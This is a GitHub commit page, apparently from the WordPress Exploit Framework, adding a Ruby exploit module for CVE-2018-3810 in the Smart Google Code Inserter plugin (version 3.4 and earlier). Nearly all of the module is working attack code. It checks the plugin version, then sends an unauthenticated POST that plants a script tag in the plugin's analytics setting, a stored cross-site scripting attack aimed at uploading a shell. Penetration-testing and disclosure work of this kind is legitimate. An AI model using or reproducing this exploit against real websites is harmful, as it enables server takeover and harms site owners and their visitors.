Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 4c82811

Browse files
committed
Add Smart Google Code Inserter <= 3.4 stored XSS shell upload
1 parent 6234fc8 commit 4c82811

File tree

1 file changed

+39
-0
lines changed

1 file changed

+39
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::SmartGoogleCodeInserterXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::StoredXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Smart Google Code Inserter <= 3.4 Unauthenticated Stored XSS Shell Upload',
11+
author: [
12+
'Benjamin Lim', # Disclosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['CVE', '2018-3810'],
17+
['WPVDB', '8987']
18+
],
19+
date: 'Jan 01 2018'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('smart-google-code-inserter', '3.5')
25+
end
26+
27+
def store_script
28+
execute_post_request(
29+
url: normalize_uri(wordpress_url_admin, 'options-general.php'),
30+
params: { 'page' => 'smartcode' },
31+
body: {
32+
'sgcgoogleanalytic' => "<script>#{xss_include_script}</script>",
33+
'sgcwebtools' => '',
34+
'button' => 'Save Changes',
35+
'action' => 'savegooglecode'
36+
}
37+
)
38+
end
39+
end

0 commit comments

Comments
 (0)